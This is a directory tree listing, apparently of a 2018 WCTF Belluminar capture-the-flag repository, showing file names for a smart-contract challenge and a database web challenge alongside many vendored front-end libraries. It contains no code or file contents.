└── 2018
└── wctf-belluminar
├── README.md
├── belluminar18.pdf
├── belluminarbank
├── README.md
├── contract.bin
├── contract.hex
├── contract.sol
├── deploy.js
├── deploy.sh
├── exploit.js
├── genesis.json
└── run.sh
└── mimicdb
├── README.md
├── belluminar.sqlite3
├── get_flag.py
├── procedure.sql
├── server
├── LICENSE
├── __init__.py
├── app.py
├── app.py.orig
├── bower.json
├── bower_components
│ ├── App States
│ │ ├── .bower.json
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── app-states.html
│ │ ├── app-states.js
│ │ ├── bower.json
│ │ ├── core.js
│ │ └── src
│ │ │ ├── app-state.html
│ │ │ ├── app-states-component.html
│ │ │ ├── app-states.html
│ │ │ ├── core.js
│ │ │ ├── place-holder.html
│ │ │ ├── states-template.html
│ │ │ └── view-registry.html
│ ├── bootstrap-social
│ │ ├── .bower.json
│ │ ├── .editorconfig
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── bootstrap-social.css
│ │ ├── bootstrap-social.less
│ │ ├── bootstrap-social.scss
│ │ └── bower.json
│ ├── bootstrap
│ │ ├── .bower.json
│ │ ├── CHANGELOG.md
│ │ ├── Gemfile
│ │ ├── Gemfile.lock
│ │ ├── Gruntfile.js
│ │ ├── ISSUE_TEMPLATE.md
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── bower.json
│ │ ├── dist
│ │ │ ├── css
│ │ │ │ ├── bootstrap-theme.css
│ │ │ │ ├── bootstrap-theme.css.map
│ │ │ │ ├── bootstrap-theme.min.css
│ │ │ │ ├── bootstrap-theme.min.css.map
│ │ │ │ ├── bootstrap.css
│ │ │ │ ├── bootstrap.css.map
│ │ │ │ ├── bootstrap.min.css
│ │ │ │ └── bootstrap.min.css.map
│ │ │ ├── fonts
│ │ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ │ ├── glyphicons-halflings-regular.svg
│ │ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ │ └── glyphicons-halflings-regular.woff2
│ │ │ └── js
│ │ │ │ ├── bootstrap.js
│ │ │ │ ├── bootstrap.min.js
│ │ │ │ └── npm.js
│ │ ├── fonts
│ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ ├── glyphicons-halflings-regular.svg
│ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ └── glyphicons-halflings-regular.woff2
│ │ ├── grunt
│ │ │ ├── .jshintrc
│ │ │ ├── bs-commonjs-generator.js
│ │ │ ├── bs-glyphicons-data-generator.js
│ │ │ ├── bs-lessdoc-parser.js
│ │ │ ├── bs-raw-files-generator.js
│ │ │ ├── change-version.js
│ │ │ ├── configBridge.json
│ │ │ ├── npm-shrinkwrap.json
│ │ │ └── sauce_browsers.yml
│ │ ├── js
│ │ │ ├── .jscsrc
│ │ │ ├── .jshintrc
│ │ │ ├── affix.js
│ │ │ ├── alert.js
│ │ │ ├── button.js
│ │ │ ├── carousel.js
│ │ │ ├── collapse.js
│ │ │ ├── dropdown.js
│ │ │ ├── modal.js
│ │ │ ├── popover.js
│ │ │ ├── scrollspy.js
│ │ │ ├── tab.js
│ │ │ ├── tooltip.js
│ │ │ └── transition.js
│ │ ├── less
│ │ │ ├── .csscomb.json
│ │ │ ├── .csslintrc
│ │ │ ├── alerts.less
│ │ │ ├── badges.less
│ │ │ ├── bootstrap.less
│ │ │ ├── breadcrumbs.less
│ │ │ ├── button-groups.less
│ │ │ ├── buttons.less
│ │ │ ├── carousel.less
│ │ │ ├── close.less
│ │ │ ├── code.less
│ │ │ ├── component-animations.less
│ │ │ ├── dropdowns.less
│ │ │ ├── forms.less
│ │ │ ├── glyphicons.less
│ │ │ ├── grid.less
│ │ │ ├── input-groups.less
│ │ │ ├── jumbotron.less
│ │ │ ├── labels.less
│ │ │ ├── list-group.less
│ │ │ ├── media.less
│ │ │ ├── mixins.less
│ │ │ ├── mixins
│ │ │ │ ├── alerts.less
│ │ │ │ ├── background-variant.less
│ │ │ │ ├── border-radius.less
│ │ │ │ ├── buttons.less
│ │ │ │ ├── center-block.less
│ │ │ │ ├── clearfix.less
│ │ │ │ ├── forms.less
│ │ │ │ ├── gradients.less
│ │ │ │ ├── grid-framework.less
│ │ │ │ ├── grid.less
│ │ │ │ ├── hide-text.less
│ │ │ │ ├── image.less
│ │ │ │ ├── labels.less
│ │ │ │ ├── list-group.less
│ │ │ │ ├── nav-divider.less
│ │ │ │ ├── nav-vertical-align.less
│ │ │ │ ├── opacity.less
│ │ │ │ ├── pagination.less
│ │ │ │ ├── panels.less
│ │ │ │ ├── progress-bar.less
│ │ │ │ ├── reset-filter.less
│ │ │ │ ├── reset-text.less
│ │ │ │ ├── resize.less
│ │ │ │ ├── responsive-visibility.less
│ │ │ │ ├── size.less
│ │ │ │ ├── tab-focus.less
│ │ │ │ ├── table-row.less
│ │ │ │ ├── text-emphasis.less
│ │ │ │ ├── text-overflow.less
│ │ │ │ └── vendor-prefixes.less
│ │ │ ├── modals.less
│ │ │ ├── navbar.less
│ │ │ ├── navs.less
│ │ │ ├── normalize.less
│ │ │ ├── pager.less
│ │ │ ├── pagination.less
│ │ │ ├── panels.less
│ │ │ ├── popovers.less
│ │ │ ├── print.less
│ │ │ ├── progress-bars.less
│ │ │ ├── responsive-embed.less
│ │ │ ├── responsive-utilities.less
│ │ │ ├── scaffolding.less
│ │ │ ├── tables.less
│ │ │ ├── theme.less
│ │ │ ├── thumbnails.less
│ │ │ ├── tooltip.less
│ │ │ ├── type.less
│ │ │ ├── utilities.less
│ │ │ ├── variables.less
│ │ │ └── wells.less
│ │ ├── nuget
│ │ │ ├── MyGet.ps1
│ │ │ ├── bootstrap.less.nuspec
│ │ │ └── bootstrap.nuspec
│ │ ├── package.js
│ │ └── package.json
│ ├── core-component-page
│ │ ├── .bower.json
│ │ ├── README.md
│ │ ├── bowager-logo.png
│ │ ├── bower.json
│ │ ├── core-component-page.html
│ │ ├── demo.html
│ │ └── index.html
│ ├── datatables-plugins
│ │ ├── .bower.json
│ │ ├── README.md
│ │ ├── api
│ │ │ ├── average().js
│ │ │ ├── column().title().js
│ │ │ ├── columns().order().js
│ │ │ ├── fnAddDataAndDisplay.js
│ │ │ ├── fnAddTr.js
│ │ │ ├── fnColumnIndexToVisible.js
│ │ │ ├── fnDataUpdate.js
│ │ │ ├── fnDisplayRow.js
│ │ │ ├── fnDisplayStart.js
│ │ │ ├── fnFakeRowspan.js
│ │ │ ├── fnFilterAll.js
│ │ │ ├── fnFilterClear.js
│ │ │ ├── fnFilterOnReturn.js
│ │ │ ├── fnFindCellRowIndexes.js
│ │ │ ├── fnFindCellRowNodes.js
│ │ │ ├── fnGetAdjacentTr.js
│ │ │ ├── fnGetColumnData.js
│ │ │ ├── fnGetColumnIndex.js
│ │ │ ├── fnGetHiddenNodes.js
│ │ │ ├── fnGetTd.js
│ │ │ ├── fnGetTds.js
│ │ │ ├── fnLengthChange.js
│ │ │ ├── fnMultiFilter.js
│ │ │ ├── fnPagingInfo.js
│ │ │ ├── fnProcessingIndicator.js
│ │ │ ├── fnReloadAjax.js
│ │ │ ├── fnSetFilteringDelay.js
│ │ │ ├── fnSortNeutral.js
│ │ │ ├── fnStandingRedraw.js
│ │ │ ├── fnVisibleToColumnIndex.js
│ │ │ ├── index.html
│ │ │ ├── page.jumpToData().js
│ │ │ └── sum().js
│ │ ├── features
│ │ │ ├── alphabetSearch
│ │ │ │ ├── dataTables.alphabetSearch.css
│ │ │ │ ├── dataTables.alphabetSearch.js
│ │ │ │ └── dataTables.alphabetSearch.min.js
│ │ │ ├── lengthLinks
│ │ │ │ ├── dataTables.lengthLinks.css
│ │ │ │ ├── dataTables.lengthLinks.js
│ │ │ │ └── dataTables.lengthLinks.min.js
│ │ │ └── searchHighlight
│ │ │ │ ├── dataTables.searchHighlight.css
│ │ │ │ ├── dataTables.searchHighlight.js
│ │ │ │ └── dataTables.searchHighlight.min.js
│ │ ├── filtering
│ │ │ ├── index.html
│ │ │ ├── row-based
│ │ │ │ ├── TableTools.ShowSelectedOnly.js
│ │ │ │ ├── range_dates.js
│ │ │ │ └── range_numbers.js
│ │ │ └── type-based
│ │ │ │ ├── accent-neutralise.js
│ │ │ │ ├── html.js
│ │ │ │ └── phoneNumber.js
│ │ ├── i18n
│ │ │ ├── Afrikaans.lang
│ │ │ ├── Albanian.lang
│ │ │ ├── Arabic.lang
│ │ │ ├── Azerbaijan.lang
│ │ │ ├── Bangla.lang
│ │ │ ├── Belarusian.lang
│ │ │ ├── Bulgarian.lang
│ │ │ ├── Catalan.lang
│ │ │ ├── Chinese-traditional.lang
│ │ │ ├── Chinese.lang
│ │ │ ├── Croatian.lang
│ │ │ ├── Czech.lang
│ │ │ ├── Danish.lang
│ │ │ ├── Dutch.lang
│ │ │ ├── English.lang
│ │ │ ├── Estonian.lang
│ │ │ ├── Filipino.lang
│ │ │ ├── Finnish.lang
│ │ │ ├── French.lang
│ │ │ ├── Galician.lang
│ │ │ ├── Georgian.lang
│ │ │ ├── German.lang
│ │ │ ├── Greek.lang
│ │ │ ├── Gujarati.lang
│ │ │ ├── Hebrew.lang
│ │ │ ├── Hindi.lang
│ │ │ ├── Hungarian.lang
│ │ │ ├── Icelandic.lang
│ │ │ ├── Indonesian-Alternative.lang
│ │ │ ├── Indonesian.lang
│ │ │ ├── Irish.lang
│ │ │ ├── Italian.lang
│ │ │ ├── Japanese.lang
│ │ │ ├── Korean.lang
│ │ │ ├── Latvian.lang
│ │ │ ├── Lithuanian.lang
│ │ │ ├── Macedonian.lang
│ │ │ ├── Malay.lang
│ │ │ ├── Norwegian.lang
│ │ │ ├── Persian.lang
│ │ │ ├── Polish.lang
│ │ │ ├── Portuguese-Brasil.lang
│ │ │ ├── Portuguese.lang
│ │ │ ├── Romanian.lang
│ │ │ ├── Russian.lang
│ │ │ ├── Serbian.lang
│ │ │ ├── Slovak.lang
│ │ │ ├── Slovenian.lang
│ │ │ ├── Spanish.lang
│ │ │ ├── Swahili.lang
│ │ │ ├── Swedish.lang
│ │ │ ├── Tamil.lang
│ │ │ ├── Thai.lang
│ │ │ ├── Turkish.lang
│ │ │ ├── Ukranian.lang
│ │ │ ├── Urdu.lang
│ │ │ ├── Uzbek.lang
│ │ │ ├── Vietnamese.lang
│ │ │ └── index.html
│ │ ├── integration
│ │ │ ├── bootstrap
│ │ │ │ ├── 1
│ │ │ │ │ ├── dataTables.bootstrap.css
│ │ │ │ │ └── dataTables.bootstrap.js
│ │ │ │ ├── 2
│ │ │ │ │ ├── dataTables.bootstrap.css
│ │ │ │ │ ├── dataTables.bootstrap.js
│ │ │ │ │ ├── dataTables.bootstrap.min.js
│ │ │ │ │ └── index.html
│ │ │ │ ├── 3
│ │ │ │ │ ├── dataTables.bootstrap.css
│ │ │ │ │ ├── dataTables.bootstrap.js
│ │ │ │ │ ├── dataTables.bootstrap.min.js
│ │ │ │ │ └── index.html
│ │ │ │ └── images
│ │ │ │ │ ├── sort_asc.png
│ │ │ │ │ ├── sort_asc_disabled.png
│ │ │ │ │ ├── sort_both.png
│ │ │ │ │ ├── sort_desc.png
│ │ │ │ │ └── sort_desc_disabled.png
│ │ │ ├── font-awesome
│ │ │ │ ├── bootstrap.html
│ │ │ │ ├── dataTables.fontAwesome.css
│ │ │ │ ├── datatables.html
│ │ │ │ └── foundation.html
│ │ │ ├── foundation
│ │ │ │ ├── dataTables.foundation.css
│ │ │ │ ├── dataTables.foundation.js
│ │ │ │ ├── dataTables.foundation.min.js
│ │ │ │ ├── images
│ │ │ │ │ ├── sort_asc.png
│ │ │ │ │ ├── sort_asc_disabled.png
│ │ │ │ │ ├── sort_both.png
│ │ │ │ │ ├── sort_desc.png
│ │ │ │ │ └── sort_desc_disabled.png
│ │ │ │ └── index.html
│ │ │ └── jqueryui
│ │ │ │ ├── dataTables.jqueryui.css
│ │ │ │ ├── dataTables.jqueryui.js
│ │ │ │ ├── dataTables.jqueryui.min.js
│ │ │ │ ├── dataTables.jqueryui.scss
│ │ │ │ └── index.html
│ │ ├── make.sh
│ │ ├── pagination
│ │ │ ├── ellipses.js
│ │ │ ├── extjs.js
│ │ │ ├── four_button.js
│ │ │ ├── index.html
│ │ │ ├── input.js
│ │ │ ├── jPaginator
│ │ │ │ └── dataTables.jPaginator.js
│ │ │ ├── scrolling.js
│ │ │ └── select.js
│ │ ├── sorting
│ │ │ ├── alt-string.js
│ │ │ ├── anti-the.js
│ │ │ ├── chinese-string.js
│ │ │ ├── currency.js
│ │ │ ├── custom-data-source
│ │ │ │ ├── dom-checkbox.js
│ │ │ │ ├── dom-select.js
│ │ │ │ └── dom-text.js
│ │ │ ├── date-dd-MMM-yyyy.js
│ │ │ ├── date-de.js
│ │ │ ├── date-eu.js
│ │ │ ├── date-euro.js
│ │ │ ├── date-uk.js
│ │ │ ├── datetime-moment.js
│ │ │ ├── datetime-us.js
│ │ │ ├── enum.js
│ │ │ ├── file-size.js
│ │ │ ├── formatted-numbers.js
│ │ │ ├── index.html
│ │ │ ├── ip-address.js
│ │ │ ├── monthYear.js
│ │ │ ├── natural.js
│ │ │ ├── num-html.js
│ │ │ ├── numeric-comma.js
│ │ │ ├── percent.js
│ │ │ ├── persian.js
│ │ │ ├── scientific.js
│ │ │ ├── signed-num.js
│ │ │ ├── stringMonthYear.js
│ │ │ ├── time.js
│ │ │ ├── title-numeric.js
│ │ │ ├── title-string.js
│ │ │ └── turkish-string.js
│ │ └── type-detection
│ │ │ ├── currency.js
│ │ │ ├── date-uk.js
│ │ │ ├── file-size.js
│ │ │ ├── formatted-num.js
│ │ │ ├── index.html
│ │ │ ├── ip-address.js
│ │ │ ├── num-html.js
│ │ │ └── numeric-comma.js
│ ├── datatables-responsive
│ │ ├── .bower.json
│ │ ├── .gitignore
│ │ ├── License.txt
│ │ ├── Readme.md
│ │ ├── bower.json
│ │ ├── css
│ │ │ ├── responsive.bootstrap.scss
│ │ │ ├── responsive.dataTables.scss
│ │ │ ├── responsive.foundation.scss
│ │ │ └── responsive.jqueryui.scss
│ │ ├── docs
│ │ │ ├── api
│ │ │ │ ├── responsive.index().xml
│ │ │ │ ├── responsive.rebuild().xml
│ │ │ │ └── responsive.recalc().xml
│ │ │ └── option
│ │ │ │ ├── responsive.breakpoints.xml
│ │ │ │ ├── responsive.details.renderer.xml
│ │ │ │ ├── responsive.details.target.xml
│ │ │ │ ├── responsive.details.type.xml
│ │ │ │ ├── responsive.details.xml
│ │ │ │ └── responsive.xml
│ │ ├── examples
│ │ │ ├── child-rows
│ │ │ │ ├── column-control.xml
│ │ │ │ ├── custom-renderer.xml
│ │ │ │ ├── disable-child-rows.xml
│ │ │ │ ├── index.xml
│ │ │ │ ├── right-column.xml
│ │ │ │ └── whole-row-control.xml
│ │ │ ├── display-control
│ │ │ │ ├── auto.xml
│ │ │ │ ├── classes.xml
│ │ │ │ ├── complexHeader.xml
│ │ │ │ ├── fixedHeader.xml
│ │ │ │ ├── index.xml
│ │ │ │ └── init-classes.xml
│ │ │ ├── index.xml
│ │ │ ├── initialisation
│ │ │ │ ├── ajax.xml
│ │ │ │ ├── className.xml
│ │ │ │ ├── default.xml
│ │ │ │ ├── index.xml
│ │ │ │ ├── new.xml
│ │ │ │ └── option.xml
│ │ │ └── styling
│ │ │ │ ├── bootstrap.xml
│ │ │ │ ├── compact.xml
│ │ │ │ ├── foundation.xml
│ │ │ │ ├── index.xml
│ │ │ │ ├── jqueryui.xml
│ │ │ │ └── scrolling.xml
│ │ ├── js
│ │ │ └── dataTables.responsive.js
│ │ └── make.sh
│ ├── datatables
│ │ ├── .bower.json
│ │ ├── Contributing.md
│ │ ├── ISSUE_TEMPLATE.md
│ │ ├── Readme.md
│ │ ├── bower.json
│ │ ├── license.txt
│ │ └── media
│ │ │ ├── css
│ │ │ ├── dataTables.bootstrap.css
│ │ │ ├── dataTables.bootstrap.min.css
│ │ │ ├── dataTables.bootstrap4.css
│ │ │ ├── dataTables.bootstrap4.min.css
│ │ │ ├── dataTables.foundation.css
│ │ │ ├── dataTables.foundation.min.css
│ │ │ ├── dataTables.jqueryui.css
│ │ │ ├── dataTables.jqueryui.min.css
│ │ │ ├── dataTables.material.css
│ │ │ ├── dataTables.material.min.css
│ │ │ ├── dataTables.semanticui.css
│ │ │ ├── dataTables.semanticui.min.css
│ │ │ ├── dataTables.uikit.css
│ │ │ ├── dataTables.uikit.min.css
│ │ │ ├── jquery.dataTables.css
│ │ │ ├── jquery.dataTables.min.css
│ │ │ └── jquery.dataTables_themeroller.css
│ │ │ ├── images
│ │ │ ├── Sorting icons.psd
│ │ │ ├── favicon.ico
│ │ │ ├── sort_asc.png
│ │ │ ├── sort_asc_disabled.png
│ │ │ ├── sort_both.png
│ │ │ ├── sort_desc.png
│ │ │ └── sort_desc_disabled.png
│ │ │ └── js
│ │ │ ├── dataTables.bootstrap.js
│ │ │ ├── dataTables.bootstrap.min.js
│ │ │ ├── dataTables.bootstrap4.js
│ │ │ ├── dataTables.bootstrap4.min.js
│ │ │ ├── dataTables.foundation.js
│ │ │ ├── dataTables.foundation.min.js
│ │ │ ├── dataTables.jqueryui.js
│ │ │ ├── dataTables.jqueryui.min.js
│ │ │ ├── dataTables.material.js
│ │ │ ├── dataTables.material.min.js
│ │ │ ├── dataTables.semanticui.js
│ │ │ ├── dataTables.semanticui.min.js
│ │ │ ├── dataTables.uikit.js
│ │ │ ├── dataTables.uikit.min.js
│ │ │ ├── jquery.dataTables.js
│ │ │ ├── jquery.dataTables.min.js
│ │ │ └── jquery.js
│ ├── eve-raphael
│ │ ├── .bower.json
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── bower.json
│ │ ├── component.json
│ │ ├── e.html
│ │ ├── eve.js
│ │ └── package.json
│ ├── flot.tooltip
│ │ ├── .bower.json
│ │ ├── bower.json
│ │ └── js
│ │ │ ├── jquery.flot.tooltip.js
│ │ │ ├── jquery.flot.tooltip.min.js
│ │ │ └── jquery.flot.tooltip.source.js
│ ├── flot
│ │ ├── .bower.json
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── API.md
│ │ ├── CONTRIBUTING.md
│ │ ├── FAQ.md
│ │ ├── LICENSE.txt
│ │ ├── Makefile
│ │ ├── NEWS.md
│ │ ├── PLUGINS.md
│ │ ├── README.md
│ │ ├── component.json
│ │ ├── examples
│ │ │ ├── ajax
│ │ │ │ ├── data-eu-gdp-growth-1.json
│ │ │ │ ├── data-eu-gdp-growth-2.json
│ │ │ │ ├── data-eu-gdp-growth-3.json
│ │ │ │ ├── data-eu-gdp-growth-4.json
│ │ │ │ ├── data-eu-gdp-growth-5.json
│ │ │ │ ├── data-eu-gdp-growth.json
│ │ │ │ ├── data-japan-gdp-growth.json
│ │ │ │ ├── data-usa-gdp-growth.json
│ │ │ │ └── index.html
│ │ │ ├── annotating
│ │ │ │ └── index.html
│ │ │ ├── axes-interacting
│ │ │ │ └── index.html
│ │ │ ├── axes-multiple
│ │ │ │ └── index.html
│ │ │ ├── axes-time-zones
│ │ │ │ ├── date.js
│ │ │ │ ├── index.html
│ │ │ │ └── tz
│ │ │ │ │ ├── africa
│ │ │ │ │ ├── antarctica
│ │ │ │ │ ├── asia
│ │ │ │ │ ├── australasia
│ │ │ │ │ ├── backward
│ │ │ │ │ ├── etcetera
│ │ │ │ │ ├── europe
│ │ │ │ │ ├── factory
│ │ │ │ │ ├── iso3166.tab
│ │ │ │ │ ├── leapseconds
│ │ │ │ │ ├── northamerica
│ │ │ │ │ ├── pacificnew
│ │ │ │ │ ├── solar87
│ │ │ │ │ ├── solar88
│ │ │ │ │ ├── solar89
│ │ │ │ │ ├── southamerica
│ │ │ │ │ ├── systemv
│ │ │ │ │ ├── yearistype.sh
│ │ │ │ │ └── zone.tab
│ │ │ ├── axes-time
│ │ │ │ └── index.html
│ │ │ ├── background.png
│ │ │ ├── basic-options
│ │ │ │ └── index.html
│ │ │ ├── basic-usage
│ │ │ │ └── index.html
│ │ │ ├── canvas
│ │ │ │ └── index.html
│ │ │ ├── categories
│ │ │ │ └── index.html
│ │ │ ├── examples.css
│ │ │ ├── image
│ │ │ │ ├── hs-2004-27-a-large-web.jpg
│ │ │ │ └── index.html
│ │ │ ├── index.html
│ │ │ ├── interacting
│ │ │ │ └── index.html
│ │ │ ├── navigate
│ │ │ │ ├── arrow-down.gif
│ │ │ │ ├── arrow-left.gif
│ │ │ │ ├── arrow-right.gif
│ │ │ │ ├── arrow-up.gif
│ │ │ │ └── index.html
│ │ │ ├── percentiles
│ │ │ │ └── index.html
│ │ │ ├── realtime
│ │ │ │ └── index.html
│ │ │ ├── resize
│ │ │ │ └── index.html
│ │ │ ├── selection
│ │ │ │ └── index.html
│ │ │ ├── series-errorbars
│ │ │ │ └── index.html
│ │ │ ├── series-pie
│ │ │ │ └── index.html
│ │ │ ├── series-toggle
│ │ │ │ └── index.html
│ │ │ ├── series-types
│ │ │ │ └── index.html
│ │ │ ├── shared
│ │ │ │ └── jquery-ui
│ │ │ │ │ └── jquery-ui.min.css
│ │ │ ├── stacking
│ │ │ │ └── index.html
│ │ │ ├── symbols
│ │ │ │ └── index.html
│ │ │ ├── threshold
│ │ │ │ └── index.html
│ │ │ ├── tracking
│ │ │ │ └── index.html
│ │ │ ├── visitors
│ │ │ │ └── index.html
│ │ │ └── zooming
│ │ │ │ └── index.html
│ │ ├── excanvas.js
│ │ ├── excanvas.min.js
│ │ ├── flot.jquery.json
│ │ ├── jquery.colorhelpers.js
│ │ ├── jquery.flot.canvas.js
│ │ ├── jquery.flot.categories.js
│ │ ├── jquery.flot.crosshair.js
│ │ ├── jquery.flot.errorbars.js
│ │ ├── jquery.flot.fillbetween.js
│ │ ├── jquery.flot.image.js
│ │ ├── jquery.flot.js
│ │ ├── jquery.flot.navigate.js
│ │ ├── jquery.flot.pie.js
│ │ ├── jquery.flot.resize.js
│ │ ├── jquery.flot.selection.js
│ │ ├── jquery.flot.stack.js
│ │ ├── jquery.flot.symbol.js
│ │ ├── jquery.flot.threshold.js
│ │ ├── jquery.flot.time.js
│ │ ├── jquery.js
│ │ └── package.json
│ ├── font-awesome
│ │ ├── .bower.json
│ │ ├── .gitignore
│ │ ├── .npmignore
│ │ ├── bower.json
│ │ ├── css
│ │ │ ├── font-awesome.css
│ │ │ └── font-awesome.min.css
│ │ ├── fonts
│ │ │ ├── FontAwesome.otf
│ │ │ ├── fontawesome-webfont.eot
│ │ │ ├── fontawesome-webfont.svg
│ │ │ ├── fontawesome-webfont.ttf
│ │ │ └── fontawesome-webfont.woff
│ │ ├── less
│ │ │ ├── bordered-pulled.less
│ │ │ ├── core.less
│ │ │ ├── extras.less
│ │ │ ├── fixed-width.less
│ │ │ ├── font-awesome.less
│ │ │ ├── icons.less
│ │ │ ├── larger.less
│ │ │ ├── list.less
│ │ │ ├── mixins.less
│ │ │ ├── path.less
│ │ │ ├── rotated-flipped.less
│ │ │ ├── spinning.less
│ │ │ ├── stacked.less
│ │ │ └── variables.less
│ │ └── scss
│ │ │ ├── _bordered-pulled.scss
│ │ │ ├── _core.scss
│ │ │ ├── _extras.scss
│ │ │ ├── _fixed-width.scss
│ │ │ ├── _icons.scss
│ │ │ ├── _larger.scss
│ │ │ ├── _list.scss
│ │ │ ├── _mixins.scss
│ │ │ ├── _path.scss
│ │ │ ├── _rotated-flipped.scss
│ │ │ ├── _spinning.scss
│ │ │ ├── _stacked.scss
│ │ │ ├── _variables.scss
│ │ │ └── font-awesome.scss
│ ├── holderjs
│ │ ├── .bower.json
│ │ ├── .gitattributes
│ │ ├── .gitignore
│ │ ├── .jshintrc
│ │ ├── README.md
│ │ ├── bower.json
│ │ ├── composer.json
│ │ ├── gulpfile.js
│ │ ├── holder.js
│ │ ├── package.json
│ │ ├── src
│ │ │ ├── augment.js
│ │ │ ├── holder.js
│ │ │ ├── ondomready.js
│ │ │ └── polyfills.js
│ │ └── test
│ │ │ ├── .gitignore
│ │ │ ├── image.jpg
│ │ │ └── index.html
│ ├── jquery
│ │ ├── .bower.json
│ │ ├── AUTHORS.txt
│ │ ├── LICENSE.txt
│ │ ├── README.md
│ │ ├── bower.json
│ │ ├── dist
│ │ │ ├── core.js
│ │ │ ├── jquery.js
│ │ │ ├── jquery.min.js
│ │ │ ├── jquery.min.map
│ │ │ ├── jquery.slim.js
│ │ │ ├── jquery.slim.min.js
│ │ │ └── jquery.slim.min.map
│ │ ├── external
│ │ │ └── sizzle
│ │ │ │ ├── LICENSE.txt
│ │ │ │ └── dist
│ │ │ │ ├── sizzle.js
│ │ │ │ ├── sizzle.min.js
│ │ │ │ └── sizzle.min.map
│ │ └── src
│ │ │ ├── .eslintrc.json
│ │ │ ├── ajax.js
│ │ │ ├── ajax
│ │ │ ├── jsonp.js
│ │ │ ├── load.js
│ │ │ ├── parseXML.js
│ │ │ ├── script.js
│ │ │ ├── var
│ │ │ │ ├── location.js
│ │ │ │ ├── nonce.js
│ │ │ │ └── rquery.js
│ │ │ └── xhr.js
│ │ │ ├── attributes.js
│ │ │ ├── attributes
│ │ │ ├── attr.js
│ │ │ ├── classes.js
│ │ │ ├── prop.js
│ │ │ ├── support.js
│ │ │ └── val.js
│ │ │ ├── callbacks.js
│ │ │ ├── core.js
│ │ │ ├── core
│ │ │ ├── DOMEval.js
│ │ │ ├── access.js
│ │ │ ├── init.js
│ │ │ ├── parseHTML.js
│ │ │ ├── ready-no-deferred.js
│ │ │ ├── ready.js
│ │ │ ├── readyException.js
│ │ │ ├── stripAndCollapse.js
│ │ │ ├── support.js
│ │ │ └── var
│ │ │ │ └── rsingleTag.js
│ │ │ ├── css.js
│ │ │ ├── css
│ │ │ ├── addGetHookIf.js
│ │ │ ├── adjustCSS.js
│ │ │ ├── curCSS.js
│ │ │ ├── hiddenVisibleSelectors.js
│ │ │ ├── showHide.js
│ │ │ ├── support.js
│ │ │ └── var
│ │ │ │ ├── cssExpand.js
│ │ │ │ ├── getStyles.js
│ │ │ │ ├── isHiddenWithinTree.js
│ │ │ │ ├── rmargin.js
│ │ │ │ ├── rnumnonpx.js
│ │ │ │ └── swap.js
│ │ │ ├── data.js
│ │ │ ├── data
│ │ │ ├── Data.js
│ │ │ └── var
│ │ │ │ ├── acceptData.js
│ │ │ │ ├── dataPriv.js
│ │ │ │ └── dataUser.js
│ │ │ ├── deferred.js
│ │ │ ├── deferred
│ │ │ └── exceptionHook.js
│ │ │ ├── deprecated.js
│ │ │ ├── dimensions.js
│ │ │ ├── effects.js
│ │ │ ├── effects
│ │ │ ├── Tween.js
│ │ │ └── animatedSelector.js
│ │ │ ├── event.js
│ │ │ ├── event
│ │ │ ├── ajax.js
│ │ │ ├── alias.js
│ │ │ ├── focusin.js
│ │ │ ├── support.js
│ │ │ └── trigger.js
│ │ │ ├── exports
│ │ │ ├── amd.js
│ │ │ └── global.js
│ │ │ ├── jquery.js
│ │ │ ├── manipulation.js
│ │ │ ├── manipulation
│ │ │ ├── _evalUrl.js
│ │ │ ├── buildFragment.js
│ │ │ ├── getAll.js
│ │ │ ├── setGlobalEval.js
│ │ │ ├── support.js
│ │ │ ├── var
│ │ │ │ ├── rcheckableType.js
│ │ │ │ ├── rscriptType.js
│ │ │ │ └── rtagName.js
│ │ │ └── wrapMap.js
│ │ │ ├── offset.js
│ │ │ ├── queue.js
│ │ │ ├── queue
│ │ │ └── delay.js
│ │ │ ├── selector-native.js
│ │ │ ├── selector-sizzle.js
│ │ │ ├── selector.js
│ │ │ ├── serialize.js
│ │ │ ├── traversing.js
│ │ │ ├── traversing
│ │ │ ├── findFilter.js
│ │ │ └── var
│ │ │ │ ├── dir.js
│ │ │ │ ├── rneedsContext.js
│ │ │ │ └── siblings.js
│ │ │ ├── var
│ │ │ ├── ObjectFunctionString.js
│ │ │ ├── arr.js
│ │ │ ├── class2type.js
│ │ │ ├── concat.js
│ │ │ ├── document.js
│ │ │ ├── documentElement.js
│ │ │ ├── fnToString.js
│ │ │ ├── getProto.js
│ │ │ ├── hasOwn.js
│ │ │ ├── indexOf.js
│ │ │ ├── pnum.js
│ │ │ ├── push.js
│ │ │ ├── rcssNum.js
│ │ │ ├── rnothtmlwhite.js
│ │ │ ├── slice.js
│ │ │ ├── support.js
│ │ │ └── toString.js
│ │ │ └── wrap.js
│ ├── metisMenu
│ │ ├── .bower.json
│ │ ├── Gruntfile.js
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── bower.json
│ │ ├── dist
│ │ │ ├── metisMenu.css
│ │ │ ├── metisMenu.js
│ │ │ ├── metisMenu.min.css
│ │ │ └── metisMenu.min.js
│ │ ├── package.json
│ │ └── src
│ │ │ ├── metisMenu.css
│ │ │ └── metisMenu.js
│ ├── mocha
│ │ ├── .bower.json
│ │ ├── History.md
│ │ ├── LICENSE
│ │ ├── Readme.md
│ │ ├── bower.json
│ │ ├── media
│ │ │ └── logo.svg
│ │ ├── mocha.css
│ │ └── mocha.js
│ ├── morrisjs
│ │ ├── .bower.json
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── Gruntfile.js
│ │ ├── README.md
│ │ ├── bower.json
│ │ ├── bower.travis.json
│ │ ├── examples
│ │ │ ├── _template.html
│ │ │ ├── area-as-line.html
│ │ │ ├── area.html
│ │ │ ├── bar-colors.html
│ │ │ ├── bar-no-axes.html
│ │ │ ├── bar.html
│ │ │ ├── days.html
│ │ │ ├── decimal-custom-hover.html
│ │ │ ├── diagonal-xlabels-bar.html
│ │ │ ├── diagonal-xlabels.html
│ │ │ ├── donut-colors.html
│ │ │ ├── donut-formatter.html
│ │ │ ├── donut.html
│ │ │ ├── dst.html
│ │ │ ├── events.html
│ │ │ ├── goals.html
